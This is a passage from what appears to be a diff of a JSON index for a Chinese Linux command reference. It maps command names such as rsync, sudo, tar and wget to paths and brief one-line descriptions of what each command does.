Linux下的运行等级服务配置工具"},"rcp":{"n":"rcp","p":"/rcp","d":"使在两台Linux主机之间的文件复制操作更简单"},"read":{"n":"read","p":"/read","d":"从键盘读取变量值"},"readelf":{"n":"readelf","p":"/readelf","d":"用于显示elf格式文件的信息"},"readonly":{"n":"readonly","p":"/readonly","d":"标记shell变量或函数为只读"},"reboot":{"n":"reboot","p":"/reboot","d":"重新启动正在运行的Linux操作系统"},"reject":{"n":"reject","p":"/reject","d":"指示打印系统拒绝发往指定目标打印机的打印任务"},"rename":{"n":"rename","p":"/rename","d":"用字符串替换的方式批量改变文件名"},"renice":{"n":"renice","p":"/renice","d":"修改正在运行的进程的调度优先级"},"repquota":{"n":"repquota","p":"/repquota","d":"报表的格式输出磁盘空间限制的状态"},"resize":{"n":"resize","p":"/resize","d":"命令设置终端机视窗的大小"},"restore":{"n":"restore","p":"/restore","d":"所进行的操作和dump指令相反"},"restorecon":{"n":"restorecon","p":"/restorecon","d":"恢复文件的安全上下文"},"return":{"n":"return","p":"/return","d":"从函数中退出并返回数值。"},"rev":{"n":"rev","p":"/rev","d":"将文件内容以字符为单位反序输出"},"rexec":{"n":"rexec","p":"/rexec","d":"远程执行Linux系统下命令"},"rlogin":{"n":"rlogin","p":"/rlogin","d":"从当前终端登录到远程Linux主机"},"rm":{"n":"rm","p":"/rm","d":"用于删除给定的文件和目录"},"rmdir":{"n":"rmdir","p":"/rmdir","d":"用来删除空目录"},"rmmod":{"n":"rmmod","p":"/rmmod","d":"从运行的内核中移除指定的内核模块"},"route":{"n":"route","p":"/route","d":"显示并设置Linux中静态路由表"},"rpm":{"n":"rpm","p":"/rpm","d":"RPM软件包的管理工具"},"rpm2cpio":{"n":"rpm2cpio","p":"/rpm2cpio","d":"将RPM软件包转换为cpio格式的文件"},"rpmbuild":{"n":"rpmbuild","p":"/rpmbuild","d":"创建RPM的二进制软件包和源码软件包"},"rpmdb":{"n":"rpmdb","p":"/rpmdb","d":"初始化和重建RPM数据库"},"rpmquery":{"n":"rpmquery","p":"/rpmquery","d":"从RPM数据库中查询软件包信息"},"rpmsign":{"n":"rpmsign","p":"/rpmsign","d":"使用RPM软件包的签名管理工具"},"rpmverify":{"n":"rpmverify","p":"/rpmverify","d":"验证已安装的RPM软件包的正确性"},"rsh":{"n":"rsh","p":"/rsh","d":"连接远程主机并执行命令"},"rsync":{"n":"rsync","p":"/rsync","d":"远程数据同步工具"},"runlevel":{"n":"runlevel","p":"/runlevel","d":"打印当前Linux系统的运行等级"},"sar":{"n":"sar","p":"/sar","d":"系统运行状态统计工具"},"scp":{"n":"scp","p":"/scp","d":"加密的方式在本地主机和远程主机之间复制文件"},"screen":{"n":"screen","p":"/screen","d":"用于命令行终端切换"},"script":{"n":"script","p":"/script","d":"记录终端会话的所有操作"},"scriptreplay":{"n":"scriptreplay","p":"/scriptreplay","d":"重新播放终端会话的所有操作"},"sed":{"n":"sed","p":"/sed","d":"功能强大的流式文本编辑器"},"seinfo":{"n":"seinfo","p":"/seinfo","d":"查询SELinux的策略提供多少相关规则"},"semanage":{"n":"semanage","p":"/semanage","d":"默认目录的安全上下文查询与修改"},"sendmail":{"n":"sendmail","p":"/sendmail","d":"著名电子邮件服务器"},"seq":{"n":"seq","p":"/seq","d":"以指定增量从首数开始打印数字到尾数"},"service":{"n":"service","p":"/service","d":"控制系统服务的实用工具"},"sesearch":{"n":"sesearch","p":"/sesearch","d":"查询SELinux策略的规则详情"},"set":{"n":"set","p":"/set","d":"显示或设置shell特性及shell变量"},"setfacl":{"n":"setfacl","p":"/setfacl","d":"设置文件访问控制列表"},"setpci":{"n":"setpci","p":"/setpci","d":"查询和配置PCI设备的使用工具"},"setsebool":{"n":"setsebool","p":"/setsebool","d":"修改SElinux策略内各项规则的布尔值"},"setsid":{"n":"setsid","p":"/setsid","d":"在新的会话中运行程序"},"sftp-server":{"n":"sftp-server","p":"/sftp-server","d":"sftp协议的服务器端程序"},"sftp":{"n":"sftp","p":"/sftp","d":"交互式的文件传输程序"},"sh":{"n":"sh","p":"/sh","d":"shell命令解释器"},"shift":{"n":"shift","p":"/shift","d":"移动位置参数。"},"shopt":{"n":"shopt","p":"/shopt","d":"显示和设置shell操作选项"},"showmount":{"n":"showmount","p":"/showmount","d":"显示NFS服务器加载的信息"},"shuf":{"n":"shuf","p":"/shuf","d":"产生随机的排列。"},"shutdown":{"n":"shutdown","p":"/shutdown","d":"用来执行系统关机的命令"},"skill":{"n":"skill","p":"/skill","d":"向选定的进程发送信号冻结进程"},"slabtop":{"n":"slabtop","p":"/slabtop","d":"实时显示内核slab内存缓存信息"},"sleep":{"n":"sleep","p":"/sleep","d":"将目前动作延迟一段时间"},"slocate":{"n":"slocate","p":"/slocate","d":"命令查找文件或目录"},"smbclient":{"n":"smbclient","p":"/smbclient","d":"交互方式访问samba服务器"},"smbpasswd":{"n":"smbpasswd","p":"/smbpasswd","d":"samba用户和密码管理工具"},"sort":{"n":"sort","p":"/sort","d":"对文本文件中所有行进行排序。"},"source":{"n":"source","p":"/source","d":"在当前Shell环境中从指定文件读取和执行命令。"},"speedtest-cli":{"n":"speedtest-cli","p":"/speedtest-cli","d":"命令行下测试服务器外网速度"},"spell":{"n":"spell","p":"/spell","d":"对文件进行拼写检查"},"split":{"n":"split","p":"/split","d":"分割任意大小的文件"},"squid":{"n":"squid","p":"/squid","d":"squid服务器守护进程"},"squidclient":{"n":"squidclient","p":"/squidclient","d":"squid服务器的客户端管理工具"},"ss":{"n":"ss","p":"/ss","d":"比 netstat 好用的socket统计信息，iproute2 包附带的另一个工具，允许你查询 socket 的有关统计信息"},"ssh-add":{"n":"ssh-add","p":"/ssh-add","d":"把专用密钥添加到ssh-agent的高速缓存中"},"ssh-agent":{"n":"ssh-agent","p":"/ssh-agent","d":"ssh密钥管理器"},"ssh-copy-id":{"n":"ssh-copy-id","p":"/ssh-copy-id","d":"把本地的ssh公钥文件安装到远程主机对应的账户下"},"ssh-keygen":{"n":"ssh-keygen","p":"/ssh-keygen","d":"为ssh生成、管理和转换认证密钥"},"ssh-keyscan":{"n":"ssh-keyscan","p":"/ssh-keyscan","d":"收集主机公钥的使用工具"},"ssh":{"n":"ssh","p":"/ssh","d":"openssh套件中的客户端连接工具"},"sshd":{"n":"sshd","p":"/sshd","d":"openssh软件套件中的服务器守护进程"},"startx":{"n":"startx","p":"/startx","d":"用来启动X Window"},"stat":{"n":"stat","p":"/stat","d":"用于显示文件的状态信息"},"strace":{"n":"strace","p":"/strace","d":"跟踪系统调用和信号"},"strings":{"n":"strings","p":"/strings","d":"在对象文件或二进制文件中查找可打印的字符串"},"stty":{"n":"stty","p":"/stty","d":"修改终端命令行的相关设置"},"su":{"n":"su","p":"/su","d":"用于切换当前用户身份到其他用户身份"},"sudo":{"n":"sudo","p":"/sudo","d":"以其他身份来执行命令"},"sum":{"n":"sum","p":"/sum","d":"计算文件的校验码和显示块数"},"supervisord":{"n":"supervisord","p":"/supervisord","d":"配置后台服务/常驻进程的进程管家工具"},"suspend":{"n":"suspend","p":"/suspend","d":"挂起shell的执行。"},"swapoff":{"n":"swapoff","p":"/swapoff","d":"关闭指定的交换空间"},"swapon":{"n":"swapon","p":"/swapon","d":"激活Linux系统中交换空间"},"sync":{"n":"sync","p":"/sync","d":"用于强制被改变的内容立刻写入磁盘"},"sysctl":{"n":"sysctl","p":"/sysctl","d":"时动态地修改内核的运行参数"},"syslog":{"n":"syslog","p":"/syslog","d":"系统默认的日志守护进程"},"systemctl":{"n":"systemctl","p":"/systemctl","d":"系统服务管理器指令"},"systool":{"n":"systool","p":"/systool","d":"显示基于总线、类和拓扑显示系统中设备的信息"},"tac":{"n":"tac","p":"/tac","d":"连接多个文件并以行为单位反向打印到标准输出。"},"tail":{"n":"tail","p":"/tail","d":"在屏幕上显示指定文件的末尾若干行"},"tailf":{"n":"tailf","p":"/tailf","d":"在屏幕上显示指定文件的末尾若干行内容，通常用于日志文件的跟踪输出"},"talk":{"n":"talk","p":"/talk","d":"让用户和其他用户聊天"},"tar":{"n":"tar","p":"/tar","d":"将许多文件一起保存至一个单独的磁带或磁盘归档，并能从归档中单独还原所需文件。"},"tcpdump":{"n":"tcpdump","p":"/tcpdump","d":"一款sniffer工具，是Linux上的抓包工具，嗅探器"},"tcpreplay":{"n":"tcpreplay","p":"/tcpreplay","d":"将PCAP包重新发送，用于性能或者功能测试"},"tee":{"n":"tee","p":"/tee","d":"从标准输入读取数据并重定向到标准输出和文件。"},"telinit":{"n":"telinit","p":"/telinit","d":"切换当前正在运行系统的运行等级"},"telnet":{"n":"telnet","p":"/telnet","d":"登录远程主机和管理(测试ip端口是否连通)"},"tempfile":{"n":"tempfile","p":"/tempfile","d":"shell中给临时文件命名"},"test":{"n":"test","p":"/test","d":"执行条件表达式。"},"tftp":{"n":"tftp","p":"/tftp","d":"在本机和tftp服务器之间使用TFTP协议传输文件"},"time":{"n":"time","p":"/time","d":"统计给定命令所花费的总时间"},"timedatectl":{"n":"timedatectl","p":"/timedatectl","d":"用于在 Linux 中设置或查询系统时间、日期和时区等配置。"},"times":{"n":"times","p":"/times","d":"显示进程累计时间。"},"tload":{"n":"tload","p":"/tload","d":"显示系统负载状况"},"tmux":{"n":"tmux","p":"/tmux","d":"Tmux是一个优秀的终端复用软件，类似GNU Screen，但来自于OpenBSD，采用BSD授权"},"top":{"n":"top","p":"/top","d":"显示或管理执行中的程序"},"touch":{"n":"touch","p":"/touch","d":"创建新的空文件"},"tput":{"n":"tput","p":"/tput","d":"通过terminfo数据库对终端会话进行初始化和操作"},"tr":{"n":"tr","p":"/tr","d":"将字符进行替换压缩和删除"},"tracepath":{"n":"tracepath","p":"/tracepath","d":"追踪目的主机经过的路由信息"},"traceroute":{"n":"traceroute","p":"/traceroute","d":"显示数据包到主机间的路径"},"trap":{"n":"trap","p":"/trap","d":"捕捉信号和其他事件并执行命令。"},"tree":{"n":"tree","p":"/tree","d":"树状图列出目录的内容"},"true":{"n":"true","p":"/true","d":"返回状态为成功。"},"tty":{"n":"tty","p":"/tty","d":"显示连接到当前标准输入的终端设备文件名"},"type":{"n":"type","p":"/type","d":"显示指定命令的类型。"},"ulimit":{"n":"ulimit","p":"/ulimit","d":"控制shell程序的资源"},"umask":{"n":"umask","p":"/umask","d":"显示或设置创建文件的权限掩码。"},"umount":{"n":"umount","p":"/umount","d":"用于卸载已经加载的文件系统"},"unalias":{"n":"unalias","p":"/unalias","d":"删除由alias设置的别名"},"uname":{"n":"uname","p":"/uname","d":"打印系统信息。"},"unarj":{"n":"unarj","p":"/unarj","d":"解压缩由arj命令创建的压缩包"},"uncompress":{"n":"uncompress","p":"/uncompress","d":"用来解压.Z文件"},"unexpand":{"n":"unexpand","p":"/unexpand","d":"将文件的空白字符转换为制表符"},"uniq":{"n":"uniq","p":"/uniq","d":"显示或忽略重复的行。"},"unlink":{"n":"unlink","p":"/unlink","d":"系统调用函数unlink去删除指定的文件"},"unprotoize":{"n":"unprotoize","p":"/unprotoize","d":"删除C语言源代码文件中的函数原型"},"unrar":{"n":"unrar","p":"/unrar","d":"解压rar文件命令，从 rar 压缩包中提取文件"},"unset":{"n":"unset","p":"/unset","d":"删除指定的shell变量或函数。"},"unzip":{"n":"unzip","p":"/unzip","d":"用于解压缩由zip命令压缩的压缩包"},"updatedb":{"n":"updatedb","p":"/updatedb","d":"创建或更新slocate命令所必需的数据库文件"},"uptime":{"n":"uptime","p":"/uptime","d":"查看Linux系统负载信息"},"useradd":{"n":"useradd","p":"/useradd","d":"创建的新的系统用户"},"userdel":{"n":"userdel","p":"/userdel","d":"用于删除给定的用户以及与用户相关的文件"},"usermod":{"n":"usermod","p":"/usermod","d":"用于修改用户的基本信息"},"usernetctl":{"n":"usernetctl","p":"/usernetctl","d":"被允许时操作指定的网络接口"},"users":{"n":"users","p":"/users","d":"打印当前主机所有登陆用户的名称。"},"uucico":{"n":"uucico","p":"/uucico","d":"UUCP文件传输服务程序"},"uupick":{"n":"uupick","p":"/uupick","d":"命令处理传送进来的文件"},"uuto":{"n":"uuto","p":"/uuto","d":"将文件传送到远端的UUCP主机"},"vdfuse":{"n":"vdfuse","p":"/vdfuse","d":"VirtualBox软件挂载VDI分区文件工具"},"vgchange":{"n":"vgchange","p":"/vgchange","d":"修改卷组属性"},"vgconvert":{"n":"vgconvert","p":"/vgconvert","d":"转换卷组元数据格式"},"vgcreate":{"n":"vgcreate","p":"/vgcreate","d":"用于创建LVM卷组"},"vgdisplay":{"n":"vgdisplay","p":"/vgdisplay","d":"显示LVM卷组的信息"},"vgextend":{"n":"vgextend","p":"/vgextend","d":"向卷组中添加物理卷"},"vgreduce":{"n":"vgreduce","p":"/vgreduce","d":"从卷组中删除物理卷"},"vgremove":{"n":"vgremove","p":"/vgremove","d":"用于用户删除LVM卷组"},"vgrename":{"n":"vgrename","p":"/vgrename","d":"使用vgrename命令可以重命名卷组的名称"},"vgscan":{"n":"vgscan","p":"/vgscan","d":"扫描并显示系统中的卷组"},"vi":{"n":"vi","p":"/vi","d":"功能强大的纯文本编辑器"},"vmstat":{"n":"vmstat","p":"/vmstat","d":"显示虚拟内存状态"},"volname":{"n":"volname","p":"/volname","d":"显示指定的ISO-9660格式的设备的卷名称"},"w":{"n":"w","p":"/w","d":"显示目前登入系统的用户信息"},"wait":{"n":"wait","p":"/wait","d":"等待进程执行完后返回"},"wall":{"n":"wall","p":"/wall","d":"向系统当前所有打开的终端上输出信息"},"watch":{"n":"watch","p":"/watch","d":"可以将命令的输出结果输出到标准输出设备，多用于周期性执行命令/定时执行命令"},"wc":{"n":"wc","p":"/wc","d":"统计文件的字节数、字数、行数"},"wget":{"n":"wget","p":"/wget","d":"Linux系统下载文件工具"},"whatis":{"n":"whatis","p":"/whatis","d":"查询一个命令执行什么功能"},"whereis":{"n":"whereis","p":"/whereis","d":"查找二进制程序、代码等相关文件路径"},"which":{"n":"which","p":"/which","d":"查找并显示给定命令的绝对路径"},"who":{"n":"who","p":"/who","d":"显示当前所有登陆用户的信息。"},"whoami":{"n":"whoami","p":"/whoami","d":"打印当前有效的用户ID对应的名称"},"write":{"n":"write","p":"/write","d":"向指定登录用户终端上发送信息"},"xargs":{"n":"xargs","p":"/xargs","d":"给其他命令传递参数的一个过滤器"},"xauth":{"n":"xauth","p":"/xauth","d":"显示和编辑被用于连接X服务器的认证信息"},"xclip":{"n":"xclip","p":"/xclip","d":"管理 X 粘贴板"},"xhost":{"n":"xhost","p":"/xhost","d":"制哪些X客户端能够在X服务器上显示"},"xinit":{"n":"xinit","p":"/xinit","d":"是Linux下X-Window系统的初始化程序"},"xlsatoms":{"n":"xlsatoms","p":"/xlsatoms","d":"列出X服务器内部所有定义的原子成分"},"xlsclients":{"n":"xlsclients","p":"/xlsclients","d":"列出显示器中的客户端应用程序"},"xlsfonts":{"n":"xlsfonts","p":"/xlsfonts","d":"列出X Server使用的字体"},"xrandr":{"n":"xrandr","p":"/xrandr","d":"X 窗口系统配置管理工具"},"xset":{"n":"xset","p":"/xset","d":"设置X-Window系统中的用户爱好的实用工具"},"xz":{"n":"xz","p":"/xz","d":"POSIX 平台开发具有高压缩率的工具"},"yes":{"n":"yes","p":"/yes","d":"重复打印指定字符串"},"ypdomainname":{"n":"ypdomainname","p":"/ypdomainname","d":"显示主机的NIS的域名"},"yum":{"n":"yum","p":"/yum","d":"基于RPM的软件包管理器"},"zcat":{"n":"zcat","p":"/zcat","d":"显示压缩包中文件的内容"},"zfore":{"n":"zfore","p":"/zfore","d":"强制为gzip格式的压缩文件添加.gz后缀"},"zip":{"n":"zip","p":"/zip","d":"可以用来解压缩文件"},"zipinfo":{"n":"zipinfo","p":"/zipinfo","d":"用来列出压缩文件信息"},"zipsplit":{"n":"zipsplit","p":"/zipsplit","d":"将较大的zip压缩包分割成各个较小的压缩包"},"znew":{"n":"znew","p":"/znew","d":"将.Z压缩包重新转化为gzip命令压缩的.gz压缩包"}} \ No newline at end of file +{"7z":{"n":"7z","p":"/7z","d":"拥有极高压缩比的开源压缩软件。"},"ab":{"n":"ab","p":"/ab","d":"Apache服务器的性能测试工具"},"accept":{"n":"accept","p":"/accept","d":"指示打印系统接受发往指定目标打印机的打印任务"},"ack":{"n":"ack","p":"/ack","d":"比grep好用的文本搜索工具"},"ag":{"n":"ag","p":"/ag","d":"ack 的升级版，C语言编写，更快更人性化"},"alias":{"n":"alias","p":"/alias","d":"定义或显示别名。"},"apachectl":{"n":"apachectl","p":"/apachectl","d":"Apache服务器前端控制工具"},"apk":{"n":"apk","p":"/apk","d":"Alpine Linux 下的包管理工具"},"apropos":{"n":"apropos","p":"/apropos","d":"在 whatis 数据库中查找字符串"},"apt-get":{"n":"apt-get","p":"/apt-get","d":"Debian Linux发行版中的APT软件包管理工具"},"apt-key":{"n":"apt-key","p":"/apt-key","d":"管理Debian Linux系统中的软件包密钥"},"apt-sortpkgs":{"n":"apt-sortpkgs","p":"/apt-sortpkgs","d":"Debian Linux下对软件包索引文件进行排序的工具"},"aptitude":{"n":"aptitude","p":"/aptitude","d":"Debian Linux系统中软件包管理工具"},"ar":{"n":"ar","p":"/ar","d":"建立或修改备存文件，或是从备存文件中抽取文件"},"arch":{"n":"arch","p":"/arch","d":"显示当前主机的硬件架构类型"},"arj":{"n":"arj","p":"/arj","d":"用于创建和管理.arj压缩包"},"arp":{"n":"arp","p":"/arp","d":"arp 命令用于显示和修改 IP 到 MAC 转换表"},"arpd":{"n":"arpd","p":"/arpd","d":"收集免费ARP信息"},"arping":{"n":"arping","p":"/arping","d":"通过发送ARP协议报文测试网络"},"arptables":{"n":"arptables","p":"/arptables","d":"管理ARP包过滤规则表"},"arpwatch":{"n":"arpwatch","p":"/arpwatch","d":"监听网络上ARP的记录"},"as":{"n":"as","p":"/as","d":"汇编语言编译器"},"at":{"n":"at","p":"/at","d":"在指定时间执行一个任务"},"atop":{"n":"atop","p":"/atop","d":"监控Linux系统资源与进程的工具"},"atq":{"n":"atq","p":"/atq","d":"列出当前用户的at任务列表"},"atrm":{"n":"atrm","p":"/atrm","d":"删除待执行任务队列中的指定任务"},"awk":{"n":"awk","p":"/awk","d":"文本和数据进行处理的编程语言"},"axel":{"n":"axel","p":"/axel","d":"多线程下载工具"},"badblocks":{"n":"badblocks","p":"/badblocks","d":"查找磁盘中损坏的区块"},"base64":{"n":"base64","p":"/base64","d":"base64 编码/解码文件或标准输入输出"},"basename":{"n":"basename","p":"/basename","d":"打印目录或者文件的基本名称"},"batch":{"n":"batch","p":"/batch","d":"在系统不繁忙的时候执行定时任务"},"bc":{"n":"bc","p":"/bc","d":"算术操作精密运算工具"},"bg":{"n":"bg","p":"/bg","d":"将前台终端作业移动到后台运行"},"bind":{"n":"bind","p":"/bind","d":"显示或设置键盘按键与其相关的功能"},"blkid":{"n":"blkid","p":"/blkid","d":"查看块设备的文件系统类型、LABEL、UUID等信息"},"blockdev":{"n":"blockdev","p":"/blockdev","d":"从命令行调用区块设备控制程序"},"bmodinfo":{"n":"bmodinfo","p":"/bmodinfo","d":"显示给定模块的详细信息"},"break":{"n":"break","p":"/break","d":"结束for，while或until循环。"},"builtin":{"n":"builtin","p":"/builtin","d":"执行bash内建命令。"},"bunzip2":{"n":"bunzip2","p":"/bunzip2","d":"可解压缩.bz2格式的压缩文件。 "},"bye":{"n":"bye","p":"/bye","d":"命令用于中断FTP连线并结束程序"},"bzcat":{"n":"bzcat","p":"/bzcat","d":"不解压，直接查看指定的.bz2文件"},"bzcmp":{"n":"bzcmp","p":"/bzcmp","d":"比较两个压缩包中的文件"},"bzdiff":{"n":"bzdiff","p":"/bzdiff","d":"直接比较两个.bz2压缩包中文件的不同"},"bzgrep":{"n":"bzgrep","p":"/bzgrep","d":"使用正则表达式搜索.bz2压缩包中文件"},"bzip2":{"n":"bzip2","p":"/bzip2","d":"将文件压缩成bz2格式"},"bzip2recover":{"n":"bzip2recover","p":"/bzip2recover","d":"恢复被破坏的.bz2压缩包中的文件"},"bzless":{"n":"bzless","p":"/bzless","d":"增强.bz2压缩包查看器"},"bzmore":{"n":"bzmore","p":"/bzmore","d":"查看bzip2压缩过的文本文件的内容"},"cal":{"n":"cal","p":"/cal","d":"显示当前日历或指定日期的日历"},"cancel":{"n":"cancel","p":"/cancel","d":"取消已存在的打印任务"},"cat":{"n":"cat","p":"/cat","d":"连接多个文件并打印到标准输出。"},"cd":{"n":"cd","p":"/cd","d":"切换用户当前工作目录。"},"cdrecord":{"n":"cdrecord","p":"/cdrecord","d":"Linux系统下光盘刻录功能命令"},"chage":{"n":"chage","p":"/chage","d":"修改帐号和密码的有效期限"},"chattr":{"n":"chattr","p":"/chattr","d":"用来改变文件属性"},"chcon":{"n":"chcon","p":"/chcon","d":"修改对象（文件）的安全上下文"},"chfn":{"n":"chfn","p":"/chfn","d":"用来改变finger命令显示的信息"},"chgrp":{"n":"chgrp","p":"/chgrp","d":"用来变更文件或目录的所属群组"},"chkconfig":{"n":"chkconfig","p":"/chkconfig","d":"检查或设置系统的各种服务"},"chmod":{"n":"chmod","p":"/chmod","d":"用来变更文件或目录的权限"},"chown":{"n":"chown","p":"/chown","d":"用来变更文件或目录的拥有者或所属群组"},"chpasswd":{"n":"chpasswd","p":"/chpasswd","d":"批量更新用户口令的工具"},"chroot":{"n":"chroot","p":"/chroot","d":"把根目录换成指定的目的目录"},"chsh":{"n":"chsh","p":"/chsh","d":"用来更换登录系统时使用的shell"},"cksum":{"n":"cksum","p":"/cksum","d":"检查文件的CRC是否正确"},"clear":{"n":"clear","p":"/clear","d":"清除当前屏幕终端上的任何信息"},"clock":{"n":"clock","p":"/clock","d":"用于调整 RTC 时间"},"clockdiff":{"n":"clockdiff","p":"/clockdiff","d":"检测两台linux主机的时间差"},"cmp":{"n":"cmp","p":"/cmp","d":"比较两个文件是否有差异"},"col":{"n":"col","p":"/col","d":"过滤控制字符"},"colrm":{"n":"colrm","p":"/colrm","d":"删除文件中的指定列"},"comm":{"n":"comm","p":"/comm","d":"按行比较两个已排序的文件。"},"command":{"n":"command","p":"/command","d":"调用并执行指定的命令"},"compress":{"n":"compress","p":"/compress","d":"使用Lempress-Ziv编码压缩数据文件"},"consoletype":{"n":"consoletype","p":"/consoletype","d":"输出已连接的终端类型"},"continue":{"n":"continue","p":"/continue","d":"结束本次循环，继续执行下一个for，while或until循环。"},"convertquota":{"n":"convertquota","p":"/convertquota","d":"把老的配额文件转换为新的格式"},"cp":{"n":"cp","p":"/cp","d":"将源文件或目录复制到目标文件或目录中"},"cpio":{"n":"cpio","p":"/cpio","d":"用来建立、还原备份档的工具程序"},"crontab":{"n":"crontab","p":"/crontab","d":"提交和管理用户的需要周期性执行的任务"},"csplit":{"n":"csplit","p":"/csplit","d":"将一个大文件分割成小的碎片文件"},"cu":{"n":"cu","p":"/cu","d":"用于连接另一个系统主机"},"cupsdisable":{"n":"cupsdisable","p":"/cupsdisable","d":"停止指定的打印机"},"cupsenable":{"n":"cupsenable","p":"/cupsenable","d":"启动指定的打印机"},"curl":{"n":"curl","p":"/curl","d":"利用URL规则在命令行下工作的文件传输工具"},"cut":{"n":"cut","p":"/cut","d":"连接文件并打印到标准输出设备上"},"date":{"n":"date","p":"/date","d":"显示或设置系统时间与日期"},"dc":{"n":"dc","p":"/dc","d":"任意精度计算器"},"dd":{"n":"dd","p":"/dd","d":"复制文件并对原文件的内容进行转换和格式化处理"},"declare":{"n":"declare","p":"/declare","d":"声明变量，设置或显示变量的值和属性。"},"depmod":{"n":"depmod","p":"/depmod","d":"分析可载入模块的相依性"},"df":{"n":"df","p":"/df","d":"显示磁盘的相关信息"},"dhclient":{"n":"dhclient","p":"/dhclient","d":"动态获取或释放IP地址"},"dhcpd":{"n":"dhcpd","p":"/dhcpd","d":"运行DHCP服务器"},"dhcrelay":{"n":"dhcrelay","p":"/dhcrelay","d":"使用dhcrelay命令可以提供中继DHCP和BOOTP请求"},"diff":{"n":"diff","p":"/diff","d":"比较给定的两个文件的不同"},"diff3":{"n":"diff3","p":"/diff3","d":"比较3个文件不同的地方"},"diffstat":{"n":"diffstat","p":"/diffstat","d":"显示diff命令输出信息的柱状图"},"dig":{"n":"dig","p":"/dig","d":"域名查询工具"},"dircolors":{"n":"dircolors","p":"/dircolors","d":"置ls命令在显示目录或文件时所用的色彩"},"dirname":{"n":"dirname","p":"/dirname","d":"去除文件名中的非目录部分"},"dirs":{"n":"dirs","p":"/dirs","d":"显示目录堆栈。"},"disown":{"n":"disown","p":"/disown","d":"从当前的shell中移除作业。"},"dmesg":{"n":"dmesg","p":"/dmesg","d":"显示Linux系统启动信息"},"dmidecode":{"n":"dmidecode","p":"/dmidecode","d":"在Linux系统下获取有关硬件方面的信息"},"dnf":{"n":"dnf","p":"/dnf","d":"新一代的RPM软件包管理器"},"dnsdomainname":{"n":"dnsdomainname","p":"/dnsdomainname","d":"定义DNS系统中FQDN名称的域名"},"domainname":{"n":"domainname","p":"/domainname","d":"显示和设置系统的NIS域名"},"dos2unix":{"n":"dos2unix","p":"/dos2unix","d":"将DOS格式文本文件转换成Unix格式"},"dpkg-deb":{"n":"dpkg-deb","p":"/dpkg-deb","d":"Debian Linux下的软件包管理工具"},"dpkg-divert":{"n":"dpkg-divert","p":"/dpkg-divert","d":"Debian Linux中创建并管理一个转向列表"},"dpkg-preconfigure":{"n":"dpkg-preconfigure","p":"/dpkg-preconfigure","d":"Debian Linux中软件包安装之前询问问题"},"dpkg-query":{"n":"dpkg-query","p":"/dpkg-query","d":"Debian Linux中软件包的查询工具"},"dpkg-reconfigure":{"n":"dpkg-reconfigure","p":"/dpkg-reconfigure","d":"Debian Linux中重新配制一个已经安装的软件包"},"dpkg-split":{"n":"dpkg-split","p":"/dpkg-split","d":"Debian Linux中将大软件包分割成小包"},"dpkg-statoverride":{"n":"dpkg-statoverride","p":"/dpkg-statoverride","d":"Debian Linux中覆盖文件的所有权和模式"},"dpkg-trigger":{"n":"dpkg-trigger","p":"/dpkg-trigger","d":"Debian Linux下的软件包触发器"},"dpkg":{"n":"dpkg","p":"/dpkg","d":"Debian Linux系统上安装、创建和管理软件包"},"dris":{"n":"dris","p":"/dris","d":"显示和清空目录堆栈中的内容"},"dstat":{"n":"dstat","p":"/dstat","d":"通用的系统资源统计工具"},"du":{"n":"du","p":"/du","d":"显示每个文件和目录的磁盘使用空间"},"dump":{"n":"dump","p":"/dump","d":"用于备份ext2或者ext3文件系统"},"e2fsck":{"n":"e2fsck","p":"/e2fsck","d":"用于检查第二扩展文件系统的完整性"},"e2label":{"n":"e2label","p":"/e2label","d":"设置第二扩展文件系统的卷标"},"echo":{"n":"echo","p":"/echo","d":"输出指定的字符串或者变量"},"ed":{"n":"ed","p":"/ed","d":"单行纯文本编辑器"},"edquota":{"n":"edquota","p":"/edquota","d":"用于编辑指定用户或工作组磁盘配额"},"egrep":{"n":"egrep","p":"/egrep","d":"在文件内查找指定的字符串"},"eject":{"n":"eject","p":"/eject","d":"用来退出抽取式设备"},"elinks":{"n":"elinks","p":"/elinks","d":"纯文本界面的WWW浏览器"},"elm":{"n":"elm","p":"/elm","d":"纯文本邮件客户端程序"},"emacs":{"n":"emacs","p":"/emacs","d":"功能强大的全屏文本编辑器"},"enable":{"n":"enable","p":"/enable","d":"启动或禁用shell内建命令"},"env":{"n":"env","p":"/env","d":"显示系统中已存在的环境变量"},"ethtool":{"n":"ethtool","p":"/ethtool","d":"显示或修改以太网卡的配置信息"},"ex":{"n":"ex","p":"/ex","d":"启动vim编辑器的ex编辑模式"},"exec":{"n":"exec","p":"/exec","d":"调用并执行指定的命令"},"exit":{"n":"exit","p":"/exit","d":"退出当前的shell。"},"expand":{"n":"expand","p":"/expand","d":"将文件的制表符转换为空白字符"},"export":{"n":"export","p":"/export","d":"为shell变量或函数设置导出属性。"},"exportfs":{"n":"exportfs","p":"/exportfs","d":"管理NFS共享文件系统列表"},"expr":{"n":"expr","p":"/expr","d":"一款表达式计算工具"},"false":{"n":"false","p":"/false","d":"返回状态为失败。"},"fc":{"n":"fc","p":"/fc","d":"显示历史列表中的命令或修改指定的历史命令并执行。"},"fdisk":{"n":"fdisk","p":"/fdisk","d":"查看磁盘使用情况和磁盘分区"},"fg":{"n":"fg","p":"/fg","d":"将后台作业移动到前台终端运行"},"fgrep":{"n":"fgrep","p":"/fgrep","d":"为文件搜索文字字符串"},"file":{"n":"file","p":"/file","d":"用来探测给定文件的类型"},"find":{"n":"find","p":"/find","d":"在指定目录下查找文件"},"findfs":{"n":"findfs","p":"/findfs","d":"标签或UUID查找文件系统"},"finger":{"n":"finger","p":"/finger","d":"用于查找并显示用户信息"},"firewall-cmd":{"n":"firewall-cmd","p":"/firewall-cmd","d":"Linux上新用的防火墙软件，跟iptables差不多的工具"},"fishshell":{"n":"fishshell","p":"/fishshell","d":"比 bash 更好用的 shell"},"fmt":{"n":"fmt","p":"/fmt","d":"读取文件后优化处理并输出"},"fold":{"n":"fold","p":"/fold","d":"控制文件内容输出时所占用的屏幕宽度"},"fping":{"n":"fping","p":"/fping","d":"fping检测主机是否存在"},"free":{"n":"free","p":"/free","d":"显示内存的使用情况"},"fsck":{"n":"fsck","p":"/fsck","d":"fsck（英文全拼：file system 